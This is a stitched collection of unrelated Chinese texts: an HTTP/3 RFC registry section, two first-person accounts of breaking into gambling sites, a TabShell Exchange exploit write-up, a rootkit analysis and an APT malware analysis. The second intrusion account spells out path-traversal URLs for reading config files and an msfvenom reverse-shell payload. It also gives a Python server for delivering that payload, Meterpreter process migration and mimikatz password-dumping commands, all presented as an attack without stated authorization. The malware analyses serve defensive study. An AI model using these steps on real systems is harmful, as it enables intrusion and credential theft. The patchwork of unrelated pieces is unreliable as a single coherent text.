11.1. 註冊HTTP/3標識字符串本文在[RFC7301]建立的“TLS 應用層協議協商(ALPN) 協議ID”註冊表中創建了一個新的HTTP/3標識註冊。

“h3”字符串標識HTTP/3；

協議：HTTP/3；

識別順序：0x680x33 ('h3')；

規格：本文件；

11.2 新註冊在本文中創建的新註冊按照[QUIC-TRANSPORT] 第22.1 節中記錄的QUIC 註冊政策運行。這些註冊表都包括[QUIC-TRANSPORT] 的第22.1.1 節中列出的通用字段集。這些註冊表出現在“超文本傳輸協議版本3 (HTTP/3)”標題下。

這些註冊表中的初始分配都被分配了永久狀態，並列出了IETF 的變更控制者和HTTP 工作組的聯繫人(ietf-http-wg@w3.org)。

11.2.1 幀類型

本文為HTTP/3幀類型代碼建立了一個註冊表。 “HTTP/3幀類型”註冊表管理62位空間。本註冊中心遵循QUIC註冊中心政策；參見11.2節。該註冊表遵循QUIC 註冊表政策；見第11.2 節。此註冊表中的永久註冊是使用規範要求策略([RFC8126]) 分配的，但0x00 和0x3f 之間的值（十六進制；包括在內）除外，這些值是使用標準操作或IESG 批准分配的，如[ RFC8126]。

雖然此註冊表與[HTTP/2] 中定義的“HTTP/2 幀類型”註冊表是分開的，但在代碼空間重疊的情況下，分配最好彼此平行。如果一個條目僅存在於一個註冊表中，則應盡一切努力避免將相應的值分配給不相關的操作。評審員可以拒絕與相應註冊表中相同值衝突的不相關註冊。

除了第11.2節中描述的常見字段外，本註冊中心的永久註冊必須包括以下字段：

幀類型：幀類型的名稱或標籤。

幀類型的規範必須包括幀佈局及其語義的描述，包括有條件存在的幀的任何部分。

下表中的條目都是由本文介紹過的。

12.png

初始HTTP/3幀類型

對於N 的非負整數值，即0x21、0x40、到0x3ffffffffffffffe，格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。

11.2.2 SETTINGS參數

由於為HTTP/3設置了註冊表。 “HTTP/3設置”註冊表管理62位空間。該註冊表遵循QUIC 註冊表政策，具體見第11.2 節。此註冊表中的永久註冊是使用規範要求策略([RFC8126]) 分配的，但0x00 和0x3f 之間的值（十六進制；包括在內）除外，這些值是使用標準操作或IESG 批准分配的，如[ RFC8126]。

雖然此註冊表不同於[HTTP/2] 中定義的“HTTP/2 設置”的註冊表，但最好是這些分配彼此並行。如果一個條目僅存在於一個註冊表中，則應盡一切努力避免將相應的值分配給不相關的操作。評審員可以拒絕與相應註冊表中相同值衝突的不相關註冊。

除了第11.2 節中描述的通用字段外，此註冊表中的永久註冊必須包括以下字段：

設置名稱：設置的符號名稱，指定設置名稱是可選的。

默認值：該設置的值，除非另有說明。默認值應該是最具限制性的值。

13.png

初始HTTP/3設置

出於格式原因，可以通過刪除'SETTINGS_'前綴來簡化設置名稱。

對於N 的非負整數值（即0x21、0x40、到0x3ffffffffffffffe），格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。

11.2.3 錯誤代碼

已經建立了HTTP/3錯誤碼的註冊表。 “HTTP/3錯誤碼”註冊表管理一個62位的空間。該註冊中心遵循QUIC註冊中心政策。此註冊表中的永久註冊使用規範要求策略([RFC8126])分配，但0x00 和0x3f 之間的值（十六進制包括在內）除外，這些值是使用標準操作或IESG 批准分配的。

錯誤代碼的註冊需要包含錯誤代碼的描述，建議審閱者檢查新註冊是否可能與現有錯誤代碼重複。鼓勵使用現有註冊，但不是強制性的。不鼓勵使用在“HTTP/2 錯誤代碼”註冊表中註冊的值，專家審閱者可能會拒絕此類註冊。

除了第11.2節中描述的通用字段外，這個註冊表還包括兩個附加字段。在本註冊中心的永久註冊必須包括以下字段：

名稱：錯誤代碼的名稱。

描述：錯誤代碼語義的簡要描述。

下表中的條目是本文所介紹的。這些錯誤代碼是從對規範要求策略運行的範圍中選擇的，以避免與HTTP/2 錯誤代碼衝突。

14.png

初始HTTP/3 錯誤代碼

對於N 的非負整數值（即0x21、0x40、到0x3ffffffffffffffe），格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。

11.2.4 流類型

HTTP/3單向流類型會建立一個註冊表，“HTTP/3流類型”註冊表管理62位空間。該註冊表遵循QUIC 註冊表政策；見第11.2 節。此註冊表中的永久註冊是使用規範要求策略分配的，但0x00 和0x3f 之間的值（十六進制包括在內）除外，這些值是使用標準操作或IESG 批准分配的。

除了第11.2 節中描述的常見字段外，此註冊表中的永久註冊必須包括以下字段：

流類型：流類型的名稱或標籤。

發件人：HTTP/3 連接上的哪個終端可以啟動這種類型的流。值為“客戶端”、“服務器”或“兩者都有”。

永久註冊的規範必須包括流類型的描述，包括流內容的佈局和語義。

下表中的初始流類型是本文出現過的：

15.png

初始流類型

對於N 的非負整數值（即0x21、0x40、到0x3ffffffffffffffe），格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。

HireHackking

今天在浏览网页时突然发现了一个菠菜站，网站截图我就不发了

都说菠菜站做的比较安全不容易渗透，今天闲来无事就搞了一下。结果只是扫一下端口我的ip都被ban了。这就有点难过了，只能挂代理再看看。

浏览发现这个站应该不是菠菜主站，而是类似一个办理各种活动的旁站。并且在其中一个活动弹窗中发现了惊喜

图片[1]-渗透进入菠菜服务器（实战）-可能资源网

这里居然可以上传sfz，那不意味着可能存在文件上传漏洞吗？在信息搜集的时候知道了这个服务器是IIS7.5的

图片[2]-渗透进入菠菜服务器（实战）-可能资源网

前段时间刚好复习了解析漏洞，所以就试一试是否存在该漏洞

图片[3]-渗透进入菠菜服务器（实战）-可能资源网

将php的大马做成图片马进行上传

图片[4]-渗透进入菠菜服务器（实战）-可能资源网

从响应结果来看上传成功了，并且还返回了地址。接着就来访问一下

图片[5]-渗透进入菠菜服务器（实战）-可能资源网

可以看到确实解析成功了，但是遗憾的是不能正常使用。所以接着直接将php大马的后缀改为jpg进行上传

图片[6]-渗透进入菠菜服务器（实战）-可能资源网

再次访问发现可以正常使用了，进去一看居然里面还有很多人的个人信息和转账截图。不得不说菠菜害人啊。

图片[7]-渗透进入菠菜服务器（实战）-可能资源网

既然有了webshell了，那么就先看看当前的权限吧

图片[8]-渗透进入菠菜服务器（实战）-可能资源网

真是难搞额，又一次碰到了低权限。先不考虑提权，继续看看有没有其他敏感文件可利用的。在各种目录下翻找半天终于找到了数据库的配置文件，显示如下

图片[9]-渗透进入菠菜服务器（实战）-可能资源网

赶紧连接数据库看看

图片[10]-渗透进入菠菜服务器（实战）-可能资源网

发现了疑似管理员的账户和密码，试了试这个是能够解密出来的，运气还不错

图片[11]-渗透进入菠菜服务器（实战）-可能资源网

接下来就登录后台看看

图片[12]-渗透进入菠菜服务器（实战）-可能资源网
图片[13]-渗透进入菠菜服务器（实战）-可能资源网

结果大失所望，原本以为会有各种用户的信息和资金流之类的。都到了这一步了，只能继续了。就在一边苦逼想思路怎么提权一边感叹菠菜站确实不是浪得虚名的时候，居然在某个文件夹下面发现了服务器的资料文件

图片[14]-渗透进入菠菜服务器（实战）-可能资源网

注意看这个文件名——“服务器资料”。可真是瞌睡了有人送枕头。从这里知道这个站应该是基于宝塔搭建的，并账户和密码都给出来了，太贴心了。尝试登陆上去看看

图片[15]-渗透进入菠菜服务器（实战）-可能资源网
图片[16]-渗透进入菠菜服务器（实战）-可能资源网

如图，几个数据库里面就记录着很多罪恶的金钱交易。具体就不放出来了。

在宝塔上还看到管理员将3389端口改成了19283。结合前面文件里面给出了服务器账户和密码，登陆上看看

图片[17]-渗透进入菠菜服务器（实战）-可能资源网

通过一顿折腾发现这个服务器下面放了三个关于菠菜的站点，功能还各不相同。一个是主站，一个是办理活动的，还有一个是抢红包的。可真是丰富多彩啊。


转载于原文链接：

https://www.kngzs.cn/1705.html


HireHackking

0x00 前言利用TabShell可以使用普通用戶逃避沙箱並在Exchange Powershell中執行任意cmd命令，本文將要介紹利用TabShell執行cmd命令並獲得返回結果的方法，分享通過Python編寫腳本的細節。

0x01 簡介本文將要介紹以下內容：

執行cmd命令並獲得返回結果的方法

Python實現

0x02 執行cmd命令並獲得返回結果的方法testanull公開了一個利用的POC，地址如下：https://gist.github.com/testanull/518871a2e2057caa2bc9c6ae6634103e

為了能夠支持更多的命令，POC需要做簡單修改，細節如下：

某些命令無法執行，例如netstat -ano或者systeminfo

解決方法：

去掉命令：$ps.WaitForExit()

執行cmd命令並獲得返回結果的方法有以下兩種：

1.使用Powershell連接Exchange服務器，實現TabShellPowershell命令示例：

1.png 2.png

需要注意以下問題：

需要域內主機上執行

需要fqdn，不支持IP

連接url可以選擇http或https

認證方式可以選擇Basic或Kerberos

2.通過SSRF漏洞調用Exchange Powershell，實現TabShell這裡需要通過Flask建立本地代理服務器，方法可參考之前的文章《ProxyShell利用分析3——添加用户和文件写入》

Powershell命令示例：

3.png 4.png

0x03 Python實現這裡需要考慮兩部分，一種是通過SSRF漏洞調用Exchange Powershell實現TabShell的Python實現，另一種是通過Powershell Session實現TabShell的Python實現，後者比前者需要額外考慮通信數據的編碼和解碼，具體細節如下：

1.通過SSRF漏洞調用Exchange Powershell實現TabShell的Python實現為了分析中間的通信數據，抓取明文數據的方法可參考上一篇文章《渗透技巧——Exchange Powershell的Python实现》 中的0x04，在Flask中輸出中間的通信數據

關鍵代碼示例：

5.png

通過分析中間的通信數據，我們可以總結出以下通信過程：

(1)creationXml

初始化，構造原始數據

(2)ReceiveData

循環多次執行，返回結果中包含'RunspaceState'作為結束符

(3)執行命令;/./././Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression

在返回數據中獲得CommandId

(4)讀取輸出結果

通過CommandId讀取命令執行結果

(5)執行命令$ExecutionContext.SessionState.LanguageMode='FullLanguage'

在返回數據中獲得CommandId

(6)讀取輸出結果

通過CommandId讀取命令執行結果

(7)執行命令並獲得返回結果

依次執行以下命令：

6.png在返回數據中獲得CommandId，並通過CommandId讀取命令執行結果，這些命令的格式相同，發送數據的格式如下：

7.png 8.png 9.png 10.png 11.png

(8)執行命令並獲得最終返回結果

發送數據的格式同(7)一致，執行的命令為：$Out，在返回數據中獲得CommandId，並通過CommandId讀取最終的命令執行結果，提取執行結果的示例代碼：

12.png

2.通過Powershell Session實現TabShell的Python實現這裡可以藉鑑上一篇文章《渗透技巧——Exchange Powershell的Python实现》 得出的經驗：兩者通信過程一致，只是通過Powershell Session實現TabShell的Python實現需要額外考慮通信數據的編碼和解碼

通信數據的編碼和解碼可參考上一篇文章《渗透技巧——Exchange Powershell的Python实现》 中的0x03

數據的編碼和解碼示例代碼如下：

13.png 14.png完整代碼的輸出結果如下圖

15.png

0x04 小結本文介紹了利用TabShell執行cmd命令並獲得返回結果的方法，改進POC，分享通過Python編寫腳本的細節。

HireHackking

本文會分析野外發現的兩個rootkit示例：Husky rootkit和Mingloa/CopperStealer rootkit。

驅動入口函數DriverEntry讓我們從二進制的驅動入口函數DriverEntry開始，在Windows內核驅動程序中，它是DriverEntry。

DriverEntry通常包括以下代碼塊：

調用IoCreateDevice和IoCreateSymbolicLink；

初始化主要函數數組，其中包含指向各種處理函數的函數指針；

為DriverUnload例程分配一個指向處理程序函數的函數指針。

以下片段（代碼段1）展示瞭如何用C語言實現簡單Windows內核驅動程序的DriverEntry。

1.png

C語言中DriverEntry實現的一個示例

下一個代碼段(代碼段2)展示了同一個DriverEntry的反彙編過程。

2.png

代碼段2：DriverEntry的反彙編

DriverUnload函數DriverUnload是一個在卸載驅動程序時調用的函數。

此處理程序函數的目的是清除驅動程序在初始化和執行過程中創建的任何資源，例如，刪除在DriverEntry中創建的設備和符號鏈接。

調用ExFreePoolWithTag來取消分配在DriverEntry函數中分配的任何池內存也是一個很好的策略函數。

3.png

代碼段3：C語言中DriverUnload實現的一個示例

Windows內核結構為了充分理解Windows內核驅動程序的反彙編，我們還應該熟悉對像管理器和內核中其他組件使用的一些內核結構。

例如，以下結構是DRIVER_OBECT（代碼段4）。

4.png

代碼段4：分解DRIVER_OBECT結構

當對IRP進行逆向工程時，繪製出驅動程序使用的IRP主要函數是很有用的。例如，通過查看結構偏移（代碼段4）和反彙編（代碼段2），我們可以確定sub_1400014B0是DriverUnload。

我們還可以使用wdm.h/ntddk.h中描述的IRP主要函數代碼值，通過檢查代碼的主要函數，得出sub_140001280（在Snippet 2中）是IRP_MJ_CREATE的函數處理程序的結論，該代碼將從DRIVER_OBECT結構中的MajorFunction（0x70）的偏移量得出0x70的結果。這顯然是0x00*PointerSize（x64體系結構中為8）；因此，正在處理的是IRP_MJ_CREATE。

可以用同樣的方式，確定IRP_J_CLOSE、IRP_J_READ、IRP_MJ_WRITE和IRP_J_DEVICE_CONTROL的函數處理程序是什麼。

5.png

代碼段5：摘自wdm.h，它定義了所有IRP主要函數的常數值

在進行分析時，我們熟悉的其他一些內核結構是IRP和IO_STACK_LOCATION結構。

IRP，也稱為I/O請求包，是一種在創建I/O請求期間，在設備堆棧中的不同驅動程序之間移動，直到請求完成的結構。

當在用戶獲取的設備對象的句柄上從用戶模式調用具有特定IOCTL操作的DeviceIoControl時，會創建IRP。

6.png

代碼段6：IRP結構的分解

此外，IO_STACK_LOCATION表示IRP在設備堆棧中的當前位置（因此IRP結構中的CurrentLocation字段是指向IO_STACK-LOCATION的指針）。

IO_STACK_LOCATION結構包含一個聯合類型的參數字段，該字段指定驅動程序中不同主函數要使用的不同參數。

例如，如果當前操作是IRP_MJ_DEVICE_CONTROL，則將使用DeviceIoControl類型的參數，包括OutputBufferLength、InputBufferLength、IoControlCode和Type3InputBuffer。

7.png

代碼段7：IO_STACK_LOCATION結構的分解

有了我們對Windows內核驅動程序的新理解，以及如何在Windows驅動程序中找到關鍵函數，讓我們看看一些真實的示例。

示例1：Brute Ratel C4(BRC4)攻擊釋放“Husky” Rootkit這項研究來源於Palo Alto Networks Unit 42在一篇關於Brute Ratel C4的博客https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/中提到的與活動相關的示例。不過，他們沒有提供這個示例的技術分析。

示例詳細信息8.png

示例概述該示例是一個內核驅動程序，使用LAP$US組織竊取的NVIDIA證書進行簽名。它使用zerosum0x0（圖1）找到的Heresy's Gate方法https://zerosum0x0.blogspot.com/2020/06/heresys-gate-kernel-zwntdll-scraping.html，這是一種用於從內核模式驅動程序繞過SMEP向用戶模式註入代碼的技術。

微信截图_20230518134625.png

通過zerosum0x0使用Heresy‘s Gate方法對簽名驅動程序進行分解

注入的shellcode使用經典技術，如遍歷InLoadOrderModuleList以查找庫句柄，以及解析API函數（如LoadLibraryA和GetProcAddress），這些函數可用於解析任何其他API。

注入的shellcode分析起來也很長（圖2），看起來與前面提到的Unit 42博客中描述的shellcode非常相似，因為它使用多個推送指令在堆棧上存儲數據。存儲在堆棧中的數據包括：

Brute Ratel C4的Base64編碼配置數據；

Brute Ratel C4有效負載；

可移植可執行文件（PE）64二進製文件，是VMProtect打包的內核驅動程序，稍後加載。

9.png

圖2：摘自shellcode，將許多值推送到堆棧並形成Base64 blob

Brute Ratel C4配置可以使用以下短腳本（代碼段8）進行解密：

10.png

代碼段8：用於解碼和解密從堆棧中提取的Base64 blob的配置的代碼段

解密配置後，我們得到以下輸出：

11.png

代碼段9：解密配置的示例

解密的配置數據（Snippet 9）包括Brute Ratel C4有效負載的一些基本配置，包括C2服務器地址和開始通信的端口，對C2的請求應該是什麼樣子的Base64編碼模板，以及C2上用於各種功能和選項的不同路徑。

12.png

攻擊場景

我們發現x64 rootkit與Brute Ratel C4示例一起安裝在受攻擊的設備上更有趣，因為它被覆蓋相同示例的其他供應商完全忽略了。

Husky Rootkitx64 rootkit，我們稱之為Husky Rootkit，與Brute Ratel有效負載一起被釋放。

內核驅動程序由VMProtect打包，並使用頒發給“SHANGMAO CHEN”的證書進行簽名(圖4)。

13.png

rootkit使用的證書

驅動入口函數DriverEntry由於這個DriverEntry(圖5)函數被打包並混淆了，因此很難從中收集任何信息。它從一系列無條件分支指令(jmp)開始，基本上指向VMProtect解包存根。

14.png

VMProtected DriverEntry顯示了一個無條件分支指令作為它的第一條指令

但是在解包之後，我們發現像GsDriverEntry這樣的函數包含了更多的信息，以及我們可以在分析中使用的重要字符串（圖6）。

15.png

從GsDriverEntry中反彙編一個分支，該分支包含以thpt（HTTP的混合版本）作為其URL協議的URL字符串

C2通信rootkit直接與\\Device\Tcp進行交互以進行通信。因此，在受攻擊的設備上運行的用戶模式工具(如netstat和tcpview)會隱藏連接。

另一種方法是在VM主機上使用Wireshark進入客戶機的共享網絡接口，以監控受攻擊虛擬機的所有通信流量（圖7和圖8）。

16.png

Wireshark網絡捕獲的由rootkit啟動的流量

該惡意軟件與多個域以及每個域的相對路徑進行通信。

17.png

從服務器到URL中的/xccdd路徑的Web請求和響應顯示了響應有效負載

隱寫術引起我們注意的特定HTTP流量是從以下URL下載的一些圖像（JPEG–JFIF標頭）：http://pic.rmb.bdstatic.com//bjh/.jpeg.

JPEG文件(圖9)是一張看起來很無辜的狗的圖片，因此研究人員將這些圖片命名rootkit為“Husky”。

18.png

該圖片含有有效負載

每個JPEG也有一個隱寫有效負載，其形式是在多個0的分隔符之後，將數據連接到偏移量為0x1769的圖片末尾(圖10)。

19.png

jpg文件中帶有狗的圖片末尾和負載的開始之間的分隔符的Hexview

通過查看數據，我們可以看到前32個字節與前一個請求對hxxp://rxeva6w.com:10100/xccdd的十六進制格式的服務器響應相同(代碼段10)。

20.png

代碼段10：有效負載的前32個字節在不同的有效負載中相似

諷刺是，域rxeva6w.com在88次檢測中一次也未被檢測到（圖11）。

21.png

VirusTotal顯示了在rveva6w.com域上的檢測結果

加密HTTP有效負載使用的加密/解密算法是一種稍微修改過的DES算法，密鑰為“j_k*a-vb”。

22.png

將解密密鑰傳遞給DES解密函數

附加功能除了通過HTTP進行通信和隱藏連接外，這個rootkit還能夠加載從不同URL下載的新模塊。

顯然，這個rootkit包含了本文未提及的額外功能。

示例2：Mingloa（CopperStealer）Rootkit2019年，ESET首次發現並命名了Mingloa惡意軟件。該惡意軟件後來也被Proofpoint發現了，也被稱為CopperStealer。

正如Proofpoint研究中所指出的，該惡意軟件具有查找和竊取保存的瀏覽器密碼的能力。除了保存的瀏覽器密碼外，該惡意軟件還使用存儲的cookie從Facebook檢索用戶訪問令牌。

這是CyberArk Endpoint Privilege Manager中包含的一系列憑據和安全令牌保護技術，這可以顯著限制CopperStealer等憑據竊取程序的影響。如果使用這些技術，CopperStealer將無法從受攻擊的設備中抓取數據。

23.png

示例概述

此惡意內核模塊是針對x86和x64體系結構編譯的。

24+1.png

惡意軟件攻擊場景的分解

該驅動程序使用頒發給“大連龍夢網絡技術有限公司”或“大連晨星網絡技術”的證書進行簽名。此證書可能是從受攻擊的設備上竊取的，或者是由員工洩露的。

25.png

頒發給“大連龍夢網絡科技”的證書，用於簽名驅動程序

通過用戶模式安裝讓我們首先看看應該部署驅動程序的用戶模式惡意軟件攻擊例程。

26.png

分解用戶模式組件執行流以安裝驅動程序

通過查看這個片段，我們可以看到InstallDriver函數接收到一個參數，並且首次調用時參數值為0。第二次調用時，參數值為1。

如果我們仔細觀察InstallDriver，會發現它首先嘗試創建一個semaphore，然後檢查Windows版本。如果這些調用中的任何一個失敗，它將退出而不執行任何操作。

27.png

二進製文件中InstallDriver函數開頭的反彙編，它調用CreateSemaphoreWrapper

如果之前的檢查成功，則惡意軟件將繼續，停止並刪除任何具有相同名稱的服務，最後將shouldInstallDriver參數與0進行比較。

28.png

CreateSemphoreWrapper函數的反彙編

如果shouldInstallDriver的值等於0，則函數將返回，不再執行任何指令。否則，它將根據系統架構，繼續安裝嵌入二進製文件中的適當驅動程序。

29.png

對InstallDriver函數的分解，它描述在系統上安裝驅動程序的流程

這部分代碼還包含一個邏輯錯誤，它會阻止加載此驅動程序。

第一次調用InstallDriver(應該只刪除任何現有的驅動程序)也會創建一個信號量。第二個調用也應該安裝驅動程序，但在安裝驅動程序之前會提前退出，因為semaphore已經存在。

這個邏輯錯誤有些神秘，因為惡意軟件通常會針對這些類型的錯誤進行測試。在這種情況下，它要么是在沒有任何測試的情況下匆忙部署的，要么還不打算部署到任何受攻擊的設備上。

驅動入口函數DriverEntry該惡意軟件的內核模式組件是傳統文件系統過濾器驅動程序，與更現代的迷你過濾器驅動程序不同，它可以在不使用回調過濾函數（如操作前回調例程或操作後回調例程）的情況下修改系統行為。

傳統的文件系統過濾器驅動程序可以直接修改文件系統行為，並且在每個I/O操作(如CREATE, READ和WRITE)中都被調用。

通過查看DriverEntry，我們可以看到兩個主要的函數例程被分配了IRP_MJ_READ和IRP_MJ_SET_INFORMATION。此外，它還註冊了兩個回調函數——一個使用CmRegisterCallback，另一個使用IoRegisterFsRegistrationChange。

HireHackking

信息收集

         正准备开干，有人企鹅私聊我让我跟他赚大钱。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

         群发也就算了，都开始私聊了，现在不法分子猖狂到什么地步了，这能惯着它。。。京东卡先放放，打开前台是个博彩论坛。

记一次菠菜论坛的渗透测试经历

        随手一个login，后台出来了，网站是php的，常用口令试了几次，admin存在，密码错误。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

           放在云悉上看一下。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

           访问一下子域名，很僵硬。

记一次菠菜论坛的渗透测试经历

        再看看端口吧，3306开放，主机是Windows的。

记一次菠菜论坛的渗透测试经历

       收集完毕，框架没扫出来，几乎没啥进展，唯一的突破点就是后台和端口了。

记一次菠菜论坛的渗透测试经历

登录后台

       3306抱着尝试心态爆破试试，不出意外，mysql没出来。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

    top100后台爆破试了一下没出来，希望不大，翻找js，可能会有口令，敏感路径，特殊接口什么，但是真的干干净净，可能我看的不仔细。

没有其他突破点，只能再爆破后台试一下了，拿了个大字典，真的跑了超久，最后总算出来了，铁头娃在世。用的字典是人名缩写、年份、特殊字符给搞出来了。

记一次菠菜论坛的渗透测试经历

坎坷上传

后台论坛文章管理处看见编辑器，瞬间两眼放光。

记一次菠菜论坛的渗透测试经历

      允许单图片、多图片尝试上传。

记一次菠菜论坛的渗透测试经历

         裂开了，白名单限制。

记一次菠菜论坛的渗透测试经历

        各种截断绕过失败。

记一次菠菜论坛的渗透测试经历

          看看是什么编辑器，翻找js文件，得知为wangeditor编辑器。

记一次菠菜论坛的渗透测试经历

        网上搜了一下，这个编辑器好像没什么漏洞，思路已干~

记一次菠菜论坛的渗透测试经历

转折出现

继续翻翻找找，发现订单详情也可下载订单图片。

下载链接：

http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20191115/1605370100637841.jpg

记一次菠菜论坛的渗透测试经历

通过下载链接得到了网站绝对路径，猜测wwwroot为网站根目录，难道存在任意文件下载？

构造链接尝试一下：

http://www.xxx.com/download.php?filepath=../../../wwwroot/news.php

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

Nice啊，胡汉三终于要翻身了。

记一次菠菜论坛的渗透测试经历

继续寻找配置文件，一般index.php会引入数据库配置文件。

http://www.xxx.com/download.php?filepath=../../../wwwroot/index.php

记一次菠菜论坛的渗透测试经历

继续构造查看config.php。

http://www.xxx.com/download.php?filepath=../../../wwwroot/config.php

记一次菠菜论坛的渗透测试经历

拿到账号尝试连接，提示没有权限，还是以失败告终，猜测存在防火墙，或者数据库host值设置为仅本地访问。

没办法，继续翻，尝试读取apache配置文件。

http://www.xxx.com/download.php?filepath=../../../../apache/conf/httpd.conf

记一次菠菜论坛的渗透测试经历

王特发！！！html文件可作为php文件执行，赶紧回去尝试上传文件处，修改后缀上传，俩处上传点均上传失败~

继续翻，在会员管理找到一处上传头像处。

记一次菠菜论坛的渗透测试经历

修改文件名称上传，响应并返回上传路径。

记一次菠菜论坛的渗透测试经历

构造链接下载，文件下载已成功，证明存在。

http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20201115/1805872100098841.html

记一次菠菜论坛的渗透测试经历

拼接访问，成功解析。

http://www.xxx.com/php/upload/2020xxxx/1805872100098841.html

记一次菠菜论坛的渗透测试经历

激动地心，颤抖的手啊，成功getshell。

记一次菠菜论坛的渗透测试经历

梭哈成功

尝试提权，查看补丁情况，更新了不少，不过总有漏网之鱼。

记一次菠菜论坛的渗透测试经历

使用工具，直接搜索未打补丁，exp怼上，提权成功，拿到管理员权限。

记一次菠菜论坛的渗透测试经历

继续反弹shell，毕竟终端用的不舒服，这里用MSF反弹shell。

1、首先使用msf在本地生成一个木马文件，指定payload；

msfvenom -p  windows/x64/meterpreter_reverse_tcp lhost=xx.xx.xx.xx lport=4444 -f exe -o achess.exe

记一次菠菜论坛的渗透测试经历

2、本地开启python服务器，端口为8000；

python -m http.server 8000

记一次菠菜论坛的渗透测试经历

3、将文件放置在python服务器中，查看已经开启；

记一次菠菜论坛的渗透测试经历

在终端目标机中下载exe文件；

echo  open  服务器ip:8000>exe文件。

记一次菠菜论坛的渗透测试经历

4、使用msf中reverse_tcp开启监听；

handler -p windows/meterpreter_reverse_tcp -H ip -P 4444

记一次菠菜论坛的渗透测试经历

5、执行exe文件，成功收到shell。

记一次菠菜论坛的渗透测试经历

拿到会话不要掉以轻心，MSF中自带mimikatz模块，MSF中的 mimikatz 模块同时支持32位和64位的系统，但是该模块默认加载32位系统，所以如果目标主机是64位系统，直接加载该模块会导致很多功能无法使用。所以64位系统下必须先查看系统进程列表，然后将meterpreter进程迁移到一个64位程序的进程中，才能加载mimikatz并且查看系统明文，同时也是防止会话断掉。

Ps查看进程，寻找稳定进程进行迁移。

migrate pid号

记一次菠菜论坛的渗透测试经历

将meterpreter进程迁移到408进程：migrate  408

记一次菠菜论坛的渗透测试经历

成功迁移，万事具备，就差密码，同样使用MSF中mimikatz模块抓取密码。

首先加载mimikatz模块：

记一次菠菜论坛的渗透测试经历

这里列出 mimikatz_command模块用法:

meterpreter > mimikatz_command -f a::  输入一个错误的模块，可以列出所有模块

meterpreter > mimikatz_command -f samdump::  可以列出samdump的子命令

meterpreter > mimikatz_command -f samdump::hashes

meterpreter > mimikatz_command -f handle::list  列出应用进程

meterpreter > mimikatz_command -f service::list  列出服务

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

meterpreter > run post/windows/gather/smart_hashdump  获取hash

选择samdump模块，该模块存在俩个功能:

?  mimikatz_command -f  samdump::hashes

?  mimikatz_command -f  samdump::bootkey

记一次菠菜论坛的渗透测试经历

但是这样抓到的是密码的hash值，我想直接看到明文密码，使用sekurlsa模块下的searchPasswords功能,执行以下命令,成功抓取密码。

mimikatz_command  -f sekurlsa::searchPasswords

记一次菠菜论坛的渗透测试经历

最后3389连接成功，打完收工。

记一次菠菜论坛的渗透测试经历

证明有时当一当铁头娃还是不错的。

总结

从云悉，fofa，各类插件，子域名，端口信息收集，爆破后台进入该站点(有个好字典很重要)，找到编辑器上传文件失败，白名单限制，js文件找到该编辑器名称，查询编辑器漏洞无果，找到图片下载处功能点，下载链接暴露网站路径，通过文件下载找到数据库配置文件，连接无权限，找到apache配置文件，发现文件后缀可绕过，另寻其他上传点成功getshell，提权操作后使用MSF中mimikatz模块抓取到登录密码，远程桌面连接成功，至此渗透结束。


转载于原文链接： https://cloud.tencent.com/developer/article/1790943


HireHackking

sl-magic-book-blue-code-1200x600.jpg

今年3月，卡巴斯基實驗室的研究人員在俄烏衝突地區新發現了一個APT活動，該活動涉及使用PowerMagic和CommonMagic植入程序。然而，當時還不清楚是哪個組織發起了這次攻擊。

在尋找與PowerMagic和CommonMagic相似的植入程序時，研究人員發現了來自同一組織發布的更複雜的惡意活動。最有趣的是，受害者廣泛分佈在俄烏衝突地區。目標包括個人，以及外交和研究機構。惡意活動涉及使用我們稱之為CloudWizard的模塊化框架。它的功能包括截圖、麥克風錄音、鍵盤記錄等。

在俄烏衝突地區運營的APT最近急劇增多，比如Gamaredon、CloudAtlas、BlackEnergy等。其中一些APT在過去早已被淘汰，例如ESET在2016年發現的Prikormka（Groundbait活動）。雖然幾年來沒有關於Prikormka或Operation Groundbait的更新，但我們發現了該活動中使用的惡意軟件CommonMagic和CloudWizard之間的多個相似之處。經過進一步調查，我們發現CloudWizard有著豐富而有趣的歷史。

初步調查結果惡意軟件作為一個名為“syncobjsup”的可疑Windows服務運行。該服務是由一個同樣可疑的路徑“C:\ProgramData\Apparition Storage\syncobjsup.dll”的DLL控制的。執行時，我們發現該DLL可以解密與該DLL位於同一目錄中的文件mods.lrc中的數據。用於解密的密碼是RC5，密鑰為88 6A 3F 24 D3 08 A3 85 E6 21 28 45 77 13 D0 38。然而，使用標準RC5實現對文件進行解密只會產生垃圾數據。仔細研究樣本中的RC5實現就會發現它存在漏洞：

1.png

漏洞在內部循環中：它使用變量i而不是j

對這個漏洞實現的搜索顯示，GitHub上的代碼要點很可能是被植入程序的開發人員借用的。在這個要點的評論中，GitHub用戶強調了這個漏洞：

2.png

同樣有趣的是，來自gist的密鑰與syncobjsup.dll庫中使用的密鑰相同。

解密後的文件在我們看來就像一個虛擬文件系統（VFS），包含多個可執行文件及其JSON編碼的配置：

3.png

這個VFS中的每個條目都包含魔術字節(' CiCi ')，條目名稱的ROR6哈希，以及條目大小和內容。

在mods.lrc中，我們發現：

三個dll（導出表名為Main.dll、Crypton.dll和Internet.dll）；

這些DLL的JSON配置。

syncobjsup.dll DLL迭代VFS條目，查找名稱為“Main”(ROR6 hash:0xAA23406F)的條目。此條目包含CloudWizard的Main.dllOrchestrator庫，該庫通過調用其SvcEntry導出進行反射加載和啟動。

4.png

